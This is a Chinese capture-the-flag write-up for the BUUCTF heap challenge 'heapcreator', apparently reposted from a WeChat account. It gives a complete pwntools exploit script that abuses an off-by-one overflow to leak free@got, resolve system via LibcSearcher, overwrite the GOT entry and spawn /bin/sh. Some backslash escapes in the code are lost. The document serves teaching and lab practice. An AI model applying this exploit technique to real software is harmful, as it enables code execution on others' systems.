题目
平台:BUUCTF
题目:hitcontraining_heapcreator
考点:64位堆编辑溢出Off-By-One
代码
from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
#p = remote('node5.buuoj.cn', 26363)
p=process('./heapcreator')
#p = process(['./ld-2.31.so','./pwn'], env = {'LD_PRELOAD' : './libc-2.31.so'})
#p=gdb.debug('./heapcreator','b main')
elf = ELF('./heapcreator')
#libc=ELF('./libc-2.23.so')
def create(size, content):
p.sendlineafter(b"Your choice :", b"1")
p.sendlineafter(b"Size of Heap :", str(size))
p.sendlineafter(b"Content of heap:", content)
def edit(idx, content):
p.sendlineafter(b"Your choice :", b"2")
p.sendlineafter(b"Index :", str(idx))
p.sendafter(b"Content of heap :", content)
def show(idx):
p.sendlineafter(b"Your choice :", b"3")
p.sendlineafter(b"Index :", str(idx))
def free(idx):
p.sendlineafter(b"Your choice :", b"4")
p.sendlineafter(b"Index :", str(idx))
free_got = elf.got['free']
create(0x18,b'aaa') #0
create(0x10,b'bbb') #1
edit(0, "/bin/shx00" +"a"*0x10 + "x41")
free(1)
create(0x30,p64(0)*4+p64(0x30)+p64(free_got)) #1
show(1)
p.recvuntil("Content : ")
data = p.recvuntil("Done !")
free_addr = u64(data.split(b"n")[0].ljust(8,b"x00"))
libc = LibcSearcher('free', free_addr)
libc_base = free_addr - libc.dump('free')
system = libc_base + libc.dump('system')
print(hex(system))
edit(1,p64(system))
free(0)
p.interactive()
分析
IDA反编译看到edit存在栈溢出,但是只能溢出一字节,存在Off-By-One漏洞

先申请两个堆,一个0x18一个0x10,看下堆格式

heaparray中存放了堆头指针,然后堆头中存储了content的长度和content的指针地址,最后指向的content的地址为申请的实际内容
编辑0号堆,设定的大小是0x18,实际上可以写入0x19字节,写入/bin/sh
并且把下一个堆块的长度改成0x41

然后free掉1,因为堆块大小被修改了,所以分别进入0x40和0x20大小的fastbin

再次申请一个0x30大小的堆块,0x20的堆头和0x40的内容堆会被重新分配回来,此时0x40的内容堆体完全覆盖了0x20的堆头
通过构造恶意的content内容,把堆头中表示长度的字段和表示content地址的字段值替换成free@got

打印1号块的内容,找content指针,指向了free@got
,即打印出了free的libc实际地址
给LibcSearcher计算偏移得到system在libc中的实际地址
然后再编辑1号堆,根据堆头指针找content内容,即找到了free@got
的内容,将其修改为system的地址

最后free掉0号块,此时free的功能被替换成system,0号块的内容在第一步被写进去了/bin/sh
,即成功执行system('/bin/sh')
BUU上的环境远程选择7:libc6_2.23-0ubuntu10_amd64
即可
原文始发于微信公众号(智佳网络安全):CTF学习-PWN-offByOne
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/300810.html